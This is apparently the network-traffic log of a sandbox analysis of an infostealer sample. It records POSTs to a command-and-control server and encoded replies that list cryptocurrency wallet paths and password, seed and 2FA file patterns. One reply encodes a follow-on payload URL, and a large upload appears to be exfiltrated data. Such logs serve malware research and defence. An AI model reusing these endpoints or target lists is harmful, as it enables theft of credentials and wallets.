2024-08-04 00:21:33 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 66 65 63 64 32 66 30 33 30 66 30 30 61 36 32 37 38 37 33 37 31 38 32 37 39 39 64 37 63 66 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 32 35 64 37 61 38 65 33 37 39 33 32 31 36 35 36 66 66 31 62 38 38 65 62 66 39 35 34 32 62 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 Data Ascii: ------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="token"12fecd2f030f00a6278737182799d7cf------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------JECAFHJEGCFCBFIEGCAECont
2024-08-04 00:21:33 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:21:33 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49756	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:34 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIEHCFIECBGCBFHIJJK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:34 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 66 65 63 64 32 66 30 33 30 66 30 30 61 36 32 37 38 37 33 37 31 38 32 37 39 39 64 37 63 66 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 32 35 64 37 61 38 65 33 37 39 33 32 31 36 35 36 66 66 31 62 38 38 65 62 66 39 35 34 32 62 37 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 Data Ascii: ------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="token"12fecd2f030f00a6278737182799d7cf------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------CFIEHCFIECBGCBFHIJJKCont
2024-08-04 00:21:35 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:21:35 UTC	79	IN	Data Raw: 34 34 0d 0a 4e 7a 45 33 4d 44 49 34 66 47 68 30 64 48 41 36 4c 79 38 78 4e 44 63 75 4e 44 55 75 4e 44 51 75 4d 54 41 30 4c 33 4e 30 5a 57 46 73 63 79 39 74 61 57 35 6c 4c 6d 56 34 5a 58 77 78 66 47 74 72 61 32 74 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 44NzE3MDI4fGh0dHA6Ly8xNDcuNDUuNDQuMTA0L3N0ZWFscy9taW5lLmV4ZXwxfGtra2t80

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49758	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:40 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKEGIJEHJDGDHJKJKKJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Content-Length: 498 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:40 UTC	498	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 66 65 63 64 32 66 30 33 30 66 30 30 61 36 32 37 38 37 33 37 31 38 32 37 39 39 64 37 63 66 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 32 35 64 37 61 38 65 33 37 39 33 32 31 36 35 36 66 66 31 62 38 38 65 62 66 39 35 34 32 62 37 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 0d 0a 43 6f 6e 74 Data Ascii: ------AAKEGIJEHJDGDHJKJKKJContent-Disposition: form-data; name="token"12fecd2f030f00a6278737182799d7cf------AAKEGIJEHJDGDHJKJKKJContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------AAKEGIJEHJDGDHJKJKKJCont
2024-08-04 00:21:41 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:21:41 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49759	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:42 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKKEHJKFCFCBFHIIDGD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:42 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 66 65 63 64 32 66 30 33 30 66 30 30 61 36 32 37 38 37 33 37 31 38 32 37 39 39 64 37 63 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 32 35 64 37 61 38 65 33 37 39 33 32 31 36 35 36 66 66 31 62 38 38 65 62 66 39 35 34 32 62 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 Data Ascii: ------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="token"12fecd2f030f00a6278737182799d7cf------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------KKKKEHJKFCFCBFHIIDGDCont
2024-08-04 00:21:42 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:21:42 UTC	1524	IN	Data Raw: 35 65 38 0d 0a 52 45 56 54 53 31 52 50 55 48 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 77 71 61 47 6c 30 59 6e Data Ascii: 5e8REVTS1RPUHwlREVTS1RPUCVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl0Yn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49760	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:43 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Content-Length: 457 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:43 UTC	457	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 66 65 63 64 32 66 30 33 30 66 30 30 61 36 32 37 38 37 33 37 31 38 32 37 39 39 64 37 63 66 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 32 35 64 37 61 38 65 33 37 39 33 32 31 36 35 36 66 66 31 62 38 38 65 62 66 39 35 34 32 62 37 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 Data Ascii: ------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="token"12fecd2f030f00a6278737182799d7cf------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------GHDBAFIIECBFHIEBKJJKCont
2024-08-04 00:21:44 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:21:44 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49761	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:45 UTC	328	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGDAKEHJDHIDHJJDAEC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Content-Length: 99265 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:45 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 66 65 63 64 32 66 30 33 30 66 30 30 61 36 32 37 38 37 33 37 31 38 32 37 39 39 64 37 63 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 32 35 64 37 61 38 65 33 37 39 33 32 31 36 35 36 66 66 31 62 38 38 65 62 66 39 35 34 32 62 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 43 0d 0a 43 6f 6e 74 Data Ascii: ------KEGDAKEHJDHIDHJJDAECContent-Disposition: form-data; name="token"12fecd2f030f00a6278737182799d7cf------KEGDAKEHJDHIDHJJDAECContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------KEGDAKEHJDHIDHJJDAECCont
2024-08-04 00:21:45 UTC	16355	OUT	Data Raw: 74 49 52 51 41 6c 42 6f 6f 6f 30 47 4a 52 52 52 51 4d 53 6b 70 31 4a 69 69 34 43 55 6c 4f 78 54 54 51 4d 4b 53 6c 6f 6f 47 4e 4e 46 4c 53 55 44 44 74 53 55 75 4b 54 46 41 78 4b 53 6e 55 6d 4b 51 43 55 6c 4c 31 70 4b 42 69 64 36 54 74 54 71 51 69 67 6f 51 30 6c 4f 4e 49 52 51 4d 62 30 4e 46 4b 61 54 72 51 41 6e 57 6b 49 70 32 4d 55 30 69 67 6f 4b 51 38 69 6c 78 53 66 51 59 6f 41 4b 53 6c 78 7a 6d 69 67 59 32 69 6c 70 4f 2f 39 61 42 69 48 6b 55 48 6b 55 74 46 41 78 75 66 78 46 4a 30 70 78 37 30 33 48 46 41 77 2f 43 6a 72 2f 38 41 58 70 65 63 65 74 49 65 66 61 67 59 68 35 6f 78 6d 6c 2f 53 6b 78 6e 2f 41 41 6f 41 54 38 50 7a 6f 36 30 55 70 6f 47 4e 78 78 33 70 4f 31 4f 50 76 53 47 6d 41 6c 42 48 72 52 30 6f 50 74 53 47 4a 2f 6b 30 67 2f 47 6e 48 6d 6d 30 77 Data Ascii: tIRQAlBooo0GJRRRQMSkp1Jii4CUlOxTTQMKSlooGNNFLSUDDtSUuKTFAxKSnUmKQCUlL1pKBid6TtTqQigoQ0lONIRQMb0NFKaTrQAnWkIp2MU0igoKQ8ilxSfQYoAKSlxzmigY2ilpO/9aBiHkUHkUtFAxufxFJ0px703HFAw/Cjr/8AXpecetIefagYh5oxml/Skxn/AAoAT8Pzo60UpoGNxx3pO1OPvSGmAlBHrR0oPtSGJ/k0g/GnHmm0w
2024-08-04 00:21:45 UTC	16355	OUT	Data Raw: 43 57 4a 39 57 65 4d 2b 54 62 52 6e 64 35 53 6e 71 7a 66 79 2f 78 37 66 57 35 6a 6d 47 47 6f 34 57 63 35 53 54 56 6d 5a 34 58 44 56 70 56 6f 71 31 74 54 53 75 67 71 58 6b 79 4c 39 31 5a 47 41 2b 6d 61 77 50 45 67 42 73 49 6a 33 45 6f 48 36 47 74 63 73 53 53 53 63 6b 38 6d 75 66 38 41 45 63 34 4c 51 77 41 39 4d 75 33 39 50 36 31 2b 54 63 4d 78 6c 57 7a 69 6b 34 64 47 33 36 4b 7a 2f 77 43 47 50 71 4f 49 5a 78 70 5a 5a 55 35 75 71 53 2b 64 30 59 56 4a 7a 53 30 56 2b 31 6e 35 47 46 4e 38 4d 58 2f 39 6e 66 45 65 78 6c 4a 77 73 6b 71 77 74 2f 77 4e 64 76 38 41 4d 67 2f 68 54 71 35 33 55 4a 48 68 31 64 70 55 4a 56 30 5a 57 55 2b 68 41 46 5a 56 6f 4b 64 4e 78 66 55 39 54 4b 5a 63 75 49 35 75 79 2f 56 48 72 75 6d 61 66 42 6f 74 76 4a 34 61 6c 56 51 64 62 75 4c 34 Data Ascii: CWJ9WeM+TbRnd5Snqzfy/x7fW5jmGGo4Wc5STVmZ4XDVpVoq1tTSugqXkyL91ZGA+mawPEgBsIj3EoH6GtcsSSSck8muf8AEc4LQwA9Mu39P61+TcMxlWzik4dG36Kz/wCGPqOIZxpZZU5uqS+d0YVJzS0V+1n5GFN8MX/9nfEexlJwskqwt/wNdv8AMg/hTq53UJHh1dpUJV0ZWU+hAFZVoKdNxfU9TKZcuI5uy/VHrumafBotvJ4alVQdbuL4
2024-08-04 00:21:45 UTC	16355	OUT	Data Raw: 31 62 6a 47 49 70 57 51 59 39 69 52 57 2b 45 7a 43 4f 4a 6d 34 4a 57 30 75 63 65 50 79 69 65 43 70 4b 70 4b 53 64 33 62 38 2f 38 41 49 72 55 6c 4c 52 58 65 65 53 4a 53 34 6f 37 55 55 41 64 58 42 34 43 76 72 69 32 69 6e 53 37 74 67 73 69 42 77 44 75 7a 67 6a 50 70 54 2f 38 41 68 58 6d 6f 2f 77 44 50 35 61 2f 6d 33 2b 46 64 35 70 66 2f 41 43 43 4c 4c 2f 72 33 6a 2f 38 41 51 52 56 48 55 2f 46 57 68 36 52 4e 35 4e 37 71 4d 55 63 6f 36 6f 6f 4c 73 50 71 46 42 49 2f 47 76 6c 6f 59 2f 47 54 64 6f 75 37 39 46 2f 6b 66 65 7a 79 66 4c 6f 4b 38 6f 57 58 71 2f 77 44 4d 34 32 66 77 48 66 32 39 76 4c 4d 31 31 61 6c 59 30 4c 6b 41 74 6e 41 47 66 53 75 66 31 48 54 72 6a 53 37 78 72 61 35 54 44 4c 30 50 5a 68 36 69 76 53 6f 66 45 6d 69 36 39 62 7a 32 65 6e 36 6a 44 4a 50 Data Ascii: 1bjGIpWQY9iRW+EzCOJm4JW0ucePyieCpKpKSd3b8/8AIrUlLRXeeSJS4o7UUAdXB4Cvri2inS7tgsiBwDuzgjPpT/8AhXmo/wDP5a/m3+Fd5pf/ACCLL/r3j/8AQRVHU/FWh6RN5N7qMUco6ooLsPqFBI/GvloY/GTdou79F/kfezyfLoK8oWXq/wDM42fwHf29vLM11alY0LkAtnAGfSuf1HTrjS7xra5TDL0PZh6ivSofEmi69bz2en6jDJP
2024-08-04 00:21:45 UTC	16355	OUT	Data Raw: 48 48 53 74 53 69 69 74 61 64 4b 46 4b 50 4c 42 57 52 7a 31 36 39 53 76 50 6e 71 4f 37 43 69 69 69 74 44 49 4b 4b 4b 4b 41 45 37 30 74 46 46 41 78 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 51 30 74 46 47 4b 59 78 4b 58 38 61 4b 4d 55 41 4a 52 53 34 70 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 53 69 6c 78 53 59 6f 41 4b 4b 57 6b 78 51 41 6c 4c 69 6a 46 46 41 42 52 33 6f 6f 6f 47 42 70 4b 57 6b 6f 41 4b 4b 4b 4b 41 45 6f 6f 6f 78 54 41 4b 4b 4d 55 55 44 45 6f 70 32 50 61 6b 49 6f 41 53 69 6c 34 39 52 52 6c 52 52 64 41 4a 52 52 75 48 70 53 62 2f 59 55 58 51 57 59 59 70 63 47 6d 37 7a 53 62 69 65 35 6f 75 4f 77 2f 46 42 77 4f 34 71 50 50 76 53 55 58 48 59 6b 79 76 72 53 62 6c 70 6c 4a 51 4f 78 4a 76 39 71 54 7a 44 32 70 6c 46 41 57 48 46 79 65 39 4a 6e 33 Data Ascii: HHStSiitadKFKPLBWRz169SvPnqO7CiiitDIKKKKAE70tFFAxKKKKACiiigAooooAQ0tFGKYxKX8aKMUAJRS4pKACiiigAooooASilxSYoAKKWkxQAlLijFFABR3oooGBpKWkoAKKKKAEoooxTAKKMUUDEop2PakIoASil49RRlRRdAJRRuHpSb/YUXQWYYpcGm7zSbie5ouOw/FBwO4qPPvSUXHYkyvrSblplJQOxJv9qTzD2plFAWHFye9Jn3
2024-08-04 00:21:45 UTC	16355	OUT	Data Raw: 50 44 6d 72 48 70 61 2f 38 41 6b 52 50 38 61 6a 75 64 44 31 47 7a 74 32 75 4a 37 62 5a 45 6d 4e 7a 62 31 4f 4d 6e 48 59 31 4d 63 77 77 6b 35 4b 4d 61 73 57 33 2f 41 48 6c 2f 6d 56 4c 4c 38 58 43 4c 6c 4b 6c 4a 4a 66 33 58 2f 6b 5a 39 46 46 46 64 5a 79 42 52 52 52 51 41 55 55 56 44 64 7a 2f 5a 72 57 53 59 44 4a 55 63 44 33 36 56 46 53 70 47 6e 42 31 4a 62 4a 58 66 79 4e 73 50 68 36 6d 4a 72 51 6f 55 6c 65 55 6d 6b 76 56 75 79 4a 71 4b 36 57 31 2b 48 47 71 54 57 73 63 74 7a 72 69 32 38 7a 71 43 30 53 32 67 63 49 66 54 4f 34 5a 71 62 2f 68 57 64 37 2f 30 4d 6e 2f 6b 69 76 38 41 38 58 58 6a 2f 77 42 75 55 76 38 41 6e 33 4c 2f 41 4d 6c 2f 2b 53 50 71 48 77 68 57 54 73 38 54 54 2f 38 41 4b 6e 2f 79 73 35 53 69 75 71 62 34 61 58 2b 30 37 66 45 59 4c 59 34 42 73 Data Ascii: PDmrHpa/8AkRP8ajudD1Gzt2uJ7bZEmNzb1OMnHY1Mcwwk5KMasW3/AHl/mVLL8XCLlKlJJf3X/kZ9FFFdZyBRRRQAUUVDdz/ZrWSYDJUcD36VFSpGnB1JbJXfyNsPh6mJrQoUleUmkvVuyJqK6W1+HGqTWsctzri28zqC0S2gcIfTO4Zqb/hWd7/0Mn/kiv8A8XXj/wBuUv8An3L/AMl/+SPqHwhWTs8TT/8AKn/ys5Siuqb4aX+07fEYLY4Bs
2024-08-04 00:21:45 UTC	1135	OUT	Data Raw: 41 67 2f 74 4b 78 58 4d 31 6b 78 59 45 4d 76 49 34 4f 4e 70 47 35 53 51 54 67 39 6a 7a 46 57 39 4f 31 62 55 74 48 6e 61 66 54 4e 51 75 37 4b 5a 6c 32 4e 4a 62 54 4e 47 78 58 72 67 6c 53 4f 4f 42 53 59 30 65 6c 36 70 44 71 6e 68 69 7a 5a 6a 71 31 7a 42 65 58 47 72 53 51 61 70 71 2b 6e 70 6d 63 6a 79 30 61 49 64 55 49 33 42 69 78 42 59 5a 4f 63 35 49 72 67 2f 46 39 70 50 59 65 4c 39 57 74 62 71 37 2b 31 33 45 64 79 34 6b 75 50 4c 45 66 6d 74 6e 4a 62 61 4f 42 6e 30 71 72 5a 36 39 72 47 6e 58 55 39 31 59 36 74 66 32 31 78 63 45 6d 61 61 43 35 64 48 6b 4a 4f 66 6d 49 4f 54 7a 7a 7a 56 47 57 53 53 61 56 35 5a 5a 47 6b 6b 64 69 7a 75 35 79 57 4a 35 4a 4a 37 6d 68 49 62 59 79 76 51 2f 42 4d 39 35 59 65 48 37 65 34 30 6c 70 45 76 4c 6a 58 37 65 32 6e 4d 57 63 79 Data Ascii: Ag/tKxXM1kxYEMvI4ONpG5SQTg9jzFW9O1bUtHnafTNQu7KZl2NJbTNGxXrglSOOBSY0el6pDqnhizZjq1zBeXGrSQapq+npmcjy0aIdUI3BixBYZOc5Irg/F9pPYeL9Wtbq7+13Edy4kuPLEfmtnJbaOBn0qrZ69rGnXU91Y6tf21xcEmaaC5dHkJOfmIOTzzzVGWSSaV5ZZGkkdizu5yWJ5JJ7mhIbYyvQ/BM95YeH7e40lpEvLjX7e2nMWcy
2024-08-04 00:21:46 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:21:46 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49762	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:47 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIEHCFIECBGCBFHIJJK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
